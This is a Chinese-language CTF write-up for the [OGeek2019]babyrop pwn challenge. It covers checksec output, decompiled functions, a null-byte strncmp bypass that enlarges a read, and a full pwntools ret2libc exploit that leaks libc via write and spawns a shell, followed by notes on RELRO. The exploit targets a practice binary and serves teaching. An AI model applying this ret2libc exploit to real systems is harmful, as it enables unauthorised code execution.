babyrop
环境
- kali-2020.4,IDA
题目
[OGeek2019]babyrop
先使用checksec查一下
┌──(root💀kali)-[~/桌面/pwn]
└─# checksec --file pwn
[*] '/root/桌面/pwn/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled 栈不可执行
PIE: No PIE (0x8048000)
发现开启了栈不可执行,这意味数据所在内存为不可执行,并且开启了full RELRO。
shift+F12查找字符串,并没有发现system等
看具体反编译结果
- main
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0); //从/dev/urandom获取随机数
if ( fd > 0 )
read(fd, &buf, 4u); //读入4个字节到buf中
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
- sub_804871F
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s)); //字符数组置零
memset(buf, 0, sizeof(buf)); //同上
sprintf(s, "%ld", a1); //%ld 表示按 long int 格式 (有符号长整型数格式)输出
v5 = read(0, buf, 0x20u); //输入一个字符串给buf
buf[v5 - 1] = 0;
v1 = strlen(buf); //使用'\0'绕过
if ( strncmp(buf, s, v1) ) //比较
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7]; //返回值
}
- sub_80487D0
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 ) //让条件不成立,
result = read(0, buf, 0xC8u);
else
result = read(0, buf, a1);
return result;
}
由上面三个函数,可以看出关键在于返回值,点击进入
-0000002C buf db ?
-0000002B db ? ; undefined
-0000002A db ? ; undefined
-00000029 db ? ; undefined
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 var_25 db ?
(unsigned __int8)buf[7]的位置在00000025(第八位),使用retl2ibc构造system("/bin/sh")函数,可以利用write函数作为中间跳板,通过动态共享库算出内存中system函数的地址,再用system函数的地址覆盖返回地址(write(1, "Correct\n", 8u))。
from pwn import *
from LibcSearcher import *
#r=remote('node3.buuoj.cn',28727)
r=process('./pwn1')
elf=ELF('./pwn1')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
#溢出控制返回值v5
payload1='\x00'+'a'*6+'\xff'
r.sendline(payload1)
r.recvuntil('Correct\n')
#泄漏libc
payload='a'*0xe7+'b'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)
read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))
#计算libc_base,system_addr,bin_sh_addr
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
#执行payload
r.sendline(payload1)
r.recvuntil('Correct\n')
payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)
r.interactive()
知识点
RELRO
- RELRO(read only relocation)是一种用于加强对 binary 数据段的保护的技术,大概实现由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。
- RELRO 分为 partial RELRO 和 full RELRO。
| 类型 | 特点 |
|---|---|
| partial RELRO | 内数据段(internal data sections)(如.got,.dtors等)置于程序数据段(program’s data sections)(如.data和.bss)之前;无 plt 指向的GOT是只读的;GOT表可写;包含.dynamic段在内的一些段会标识为只读 |
| full RELRO | 支持Partial模式的所有功能;禁用延迟绑定;整个GOT表映射为只读的。 |
\xff
十六进制转义序列,对应的十进制ASCII码是255,在扩展ASCII中
参考
- ctf竞赛权威指南 pwn篇
- 彻底搞清楚 GOT 和 PLT:https://www.jianshu.com/p/5092d6d5caa3

浙公网安备 33010602011771号